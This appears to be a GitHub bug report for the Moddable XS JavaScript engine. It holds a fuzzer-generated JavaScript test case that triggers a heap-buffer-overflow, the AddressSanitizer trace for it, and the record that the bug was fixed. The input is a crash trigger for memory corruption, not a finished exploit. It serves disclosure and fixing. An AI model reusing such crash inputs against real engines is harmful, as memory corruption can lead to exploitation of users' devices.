var MEM = new stdlib.Uint8Array(heap);
var fun = eval(str);
var fun = eval(str);
var i = 0;
b2[118] = 32;
var p = new Proxy([], handler);
b2[119] = 1;
var oob = '1024';
b2[120] = 65;
var fun = eval(str);
b2[0.39265877342697486] = 4;
b2[122] = 108;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' /x/g ';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var a = new Array(1, 2, 3);
function getHiddenValue() {
    var obj = {};
    var oob = 'eval';
    oob = oob.replace('re', '(new Boolean(false))'.repeat(165));
    var str = '{}' + oob + '}';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
var ar = new Int8Array(c[0]);
var oob = 'arguments.callee';
var handler = {
    get: function (target, name) {
        if (name == 'length') {
            return 256;
        }
        var i = 0;
        return { [Symbol.species]: dummy };
    },
    has: function (target, name) {
        return true;
    }
};
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' /x/g ';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
b2[123] = 106;
b2[124] = 33;
var oobString = fun.toString();
b2[125] = 2;
b2[126] = 2;
var oobString = makeOobString();
b2[127] = 64;
function makeOobString() {
    var r = new RegExp(RegExp('this'));
    var hiddenValue = getHiddenValue();
    var str = '(new Number(-0))';
    var fun = eval(str);
    var i = 0;
    print(fun, hiddenValue);
    var oobString = 'wrappedJSObject'.repeat();
    var str = '' + oob + '}';
    return oobString;
}
var obj = {};
var ar = new Int8Array(c[0]);
b2[128] = 3;
var Tizh = b2[0.7439351210724463];
b2[129] = 64;
b2[0.8544370950808029] = 32;
var MEM = new stdlib.Uint8Array(heap);
b2[131] = 489;
b2[132] = 32;
var oobString = fun.toString();
var o = a.map.call(p, test);
var a = new Array(1, 2, 3);
var m = parseInt(new Uint8Array('configurable'.split(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
var o = a.map.call(p, test);
f();
```

```
b2[133] = 0.09303413024051976;
var m = oob.replace(/[\s\r\n]+/g).map(new Uint8Array(Object(v => parseInt(v, 16))));
b2[134] = 518;
var r = new RegExp(RegExp('(new Number(0))'));
var m = '__proto__'.repeat(new Uint8Array('00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
b2[809] = 13;
b2[136] = 1;
var oobString = makeOobString();
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        0.3960554209954754,
        3037000498
    ]
]);
var m = DJkJ.call(new Uint8Array(''.repeat(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
b2[890] = 65;
var fun = eval(str);
var obj = {};
b2[138] = 42;
b2[139] = 16;
b2[140] = 0;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' /x/g ';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var KTta = ijjkkk < 100000;
b2[141] = 32;
b2[142] = 3;
var ar = new Int8Array(c[0]);
var fun = eval(str);
b2[0.5916016519869236] = 65;
var o = a.map.call(p, test);
b2[144] = 196;
var obj = {};
var str = '<h3>';
var d = new Array(1, 2, 3);
var oobString = Object();
function log() {
    function test() {
        return 974;
    }
    var str = 'constructor';
    for (var i = 0; KTta; i++) {
        var fun = eval(str);
        str += arguments[i];
    }
    var r = new RegExp(RegExp('(new Number(0))'));
    str += ' "" ';
    var fun = eval(str);
    log(str);
}
var DbXR = b2[169];
var oob = '1.23';
var oobString = makeOobString();
var oobString = makeOobString();
function getHiddenValue() {
    var obj = {};
    var oob = 'function(){}';
    oob = oob.replace('', 'ざ'.repeat(1048576));
    var str = '{}' + oob + '}';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
b2[145] = 0;
var str = ' /x/g ' + oob + 'new String(\'\')';
b2[0.31981663195431476] = 32;
b2[147] = 0;
var str = 'configurable';
b2[0.10015913892675243] = 0.4531112950164282;
var i = 0;
var str = ' \'use strict\' ';
var xhCc = Object(1073741823);
function test() {
    return 131354989131639;
}
b2[149] = 2;
var str = '<h3>';
var oobString = makeOobString();
function foo(x) {
    var i = 0;
    MEM[array.length] *= 0.03463922022521104;
    function test() {
        return 131354989131639;
    }
    var ar = new Int8Array(c[0]);
}
var str = '{}' + oob + '';
var fun = eval(str);
var oobString = getHiddenValue();
b2[0.0448064917304849] = 0;
var obj = {};
b2[151] = 990;
var oob = '[1]';
b2[152] = 0.6499810409448248;
b2[153] = 0;
```

```
b2[154] = 106;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = 'new String(\'q\')';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var str = str;
function getHiddenValue() {
    var obj = {};
    var oob = 'caller';
    oob = parseInt('[0]', foo(/[\s\r\n]+/g).map(1048576));
    var m = foo(new Uint8Array(getHiddenValue(v => parseInt(v, 16))));
    var oobString = fun.toString();
    var str = '({valueOf:function(){return \'0\';}})';
    var a = new Array(1, 2, 938);
    var c = ''.repeat(m, 'AAAA');
    function foo(x) {
        MEM[array.length] *= 0;
    }
    function log() {
        var str = '';
        var oob = 'eval';
        for (var i = 0; KTta; i++) {
            str += arguments[i];
            var oobString = fun.toString();
        }
        str += '({valueOf:function(){return 0;}})';
        fun.toString(str);
    }
    var fun = eval(str);
    function getHiddenValue() {
        var obj = {};
        var oob = 'createIsHTMLDDA()';
        oob = oob.replace('re', 'constructor'.repeat(166));
        var str = '{}' + oob + '(new String(\'\'))';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    Zxac.call(obj, fun);
    var str = '[1]' + oob + '}';
    return obj;
}
b2[155] = 33;
b2[534] = 0.8303399345773845;
var i = 0;
var shGT = Promise;
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
var MEM = new stdlib.Uint8Array(heap);
var r = new RegExp(RegExp('(new Number(0))'));
b2[523] = 32;
var oobString = makeOobString();
var oob = 'null';
var o = a.map.call(p, test);
b2[158] = 0;
b2[159] = 65;
var hiddenValue = getHiddenValue();
b2[160] = 4;
b2[161] = 106;
function getHiddenValue() {
    var obj = {};
    var oob = 'new String(\'q\')';
    oob = oob.replace('({x:3})', '+0'.repeat(1048576));
    var str = '{}' + oob + '(new Boolean(true))';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
var str = '1024';
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        914,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        939,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
b2[162] = 33;
var fun = eval(str);
var i = 0;
var HGzH = f();
```

```
b2[163] = 0;
var str = '+0';
function getHiddenValue() {
    var obj = {};
    var oob = '[1]';
    function log() {
        var str = '<h3>';
        var fun = eval(str);
        for (var i = 0; KTta; i++) {
            var obj = {};
            str += arguments[i];
        }
        var fun = eval(str);
        str += '</h3>';
        print(str);
    }
    oob = getHiddenValue('re', getHiddenValue(1048576));
    var ar = new Int8Array(c[0]);
    var str = ' \'use strict\' ' + oob;
    function foo(x) {
        MEM[array.length] *= 0;
        var r = new RegExp(RegExp('(new Number(0))'));
    }
    var fun = eval(str);
    JSON.parse(obj, fun);
    return obj;
}
b2[164] = 399;
b2[165] = 742;
var obj = {};
var p = new Proxy([], handler);
var hiddenValue = getHiddenValue();
b2[166] = 11;
function foo(x) {
    MEM[MEM[b2[151]]] *= 0;
}
b2[167] = 11;
b2[168] = 32;
var hiddenValue = getHiddenValue();
var p = new Proxy([], handler);
var oobString = '*'.repeat();
b2[169] = 3;
b2[170] = 11;
var oob = 'function(){}';
function f() {
    function log() {
        var str = '<h3>';
        for (var i = 0; KTta; i++) {
            str += arguments[i];
            var oobString = fun.toString();
        }
        str += '</h3>';
        ''.repeat(/[\s\r\n]+/g).map(str);
    }
    print('(new Boolean(true))');
}
var oobString = Object();
var c = '(new Boolean(false))'.repeat(m, 'AAAA');
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = 'writable';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var memory = new WebAssembly.Memory({
    initial: 1,
    maximum: 1
});
function getHiddenValue() {
    var i = 0;
    var obj = {};
    var str = '{}' + oob + '}';
    var oob = '[1]';
    var o = a.map.call(p, test);
    oob = '00 61 73 6d 01 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split('[\'z\']', 'arguments.callee'.repeat(/[\s\r\n]+/g).map(1048576));
    var str = 'undefined';
    var c = foo(m, 'AAAA');
    function foo(x) {
        MEM[array.length] *= 0;
        var hiddenValue = getHiddenValue();
        var o = a.map.call(p, test);
    }
    var handler = {
        get: function (target, name) {
            if (name == 'length') {
                return 256;
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            return true;
        }
    };
    var fun = eval(str);
    var a = new Array(1, 2, 3);
    var ar = new Int8Array(c[0.31387494748168865]);
    foo(obj, fun);
    var oob = 'eval';
    var p = new Proxy([], handler);
    function log() {
        var str = '<h3>';
        for (var i = 0; GXka; i++) {
            var d = new Array(1, 2, 3);
            str += arguments[i];
        }
        str += '</h3>';
        print(/[\s\r\n]+/g).map(str);
    }
    var o = a.map.call(p, test);
    return obj;
```

```
}
var obj = {};
f();
var oob = '/re/';
var fun = eval(str);
var hiddenValue = getHiddenValue();
var mod = new ('00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(/[\s\r\n]+/g)).map(b2);
var i = new WebAssembly.Instance(mod, {
    imports: { imported_func: f },
    js: { mem: memory }
});
function getHiddenValue() {
    var obj = {};
    var oob = 'eval';
    oob = oob.replace('', 'eval'.repeat(836));
    var str = '{}' + oob + '(new Boolean(true))';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
var ar = new Int8Array(c[0]);
var FMRc = b2[102];
var str = DJkJ.call(/[\s\r\n]+/g).map(/[\s\r\n]+/g);
Zxac.call(0, 19);
```

description

```
=================================================================
==5952==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001f730 at pc 0x7fb0e59e7709 bp 0x7ffdf461acb0 sp 0x7ffdf461a458
WRITE of size 3349 at 0x61b00001f730 thread T0
    #0 0x7fb0e59e7708  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x62708)
    #1 0x62b200 in fxIDToString /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSymbol.c:510
    #2 0x5d5fa9 in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:2135
    #3 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708
    #4 0x5fe6a4 in fxRunEval /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4279
    #5 0x5f96a0 in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:3970
    #6 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708
    #7 0x6fa9f9 in fxRunProgramFile /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:1369
    #8 0x6ed74c in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:270
    #9 0x7fb0e50b582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x4146a8 in _start (/root/AFL/targets/moddable/xst+0x4146a8)

0x61b00001f730 is located 0 bytes to the right of 1456-byte region [0x61b00001f180,0x61b00001f730)
allocated by thread T0 here:
    #0 0x7fb0e5a1d79a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
    #1 0x42079e in fxCreateMachine /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsAPI.c:1271
    #2 0x6ec9a0 in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:249
    #3 0x7fb0e50b582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0c367fffbe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffbea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffbeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffbec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffbed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fffbee0: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x0c367fffbef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c367fffbf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c367fffbf10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c367fffbf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c367fffbf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==5952==ABORTING
```

mkellner pushed a commit that referenced this issue on Mar 15, 2021

`XS: #583` `d2d9a0f`

phoddie added the fixed - please verify label on Mar 15, 2021

phoddie closed this as completed on Mar 23, 2021

Assignees

No one assigned

Labels

fixed - please verify

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants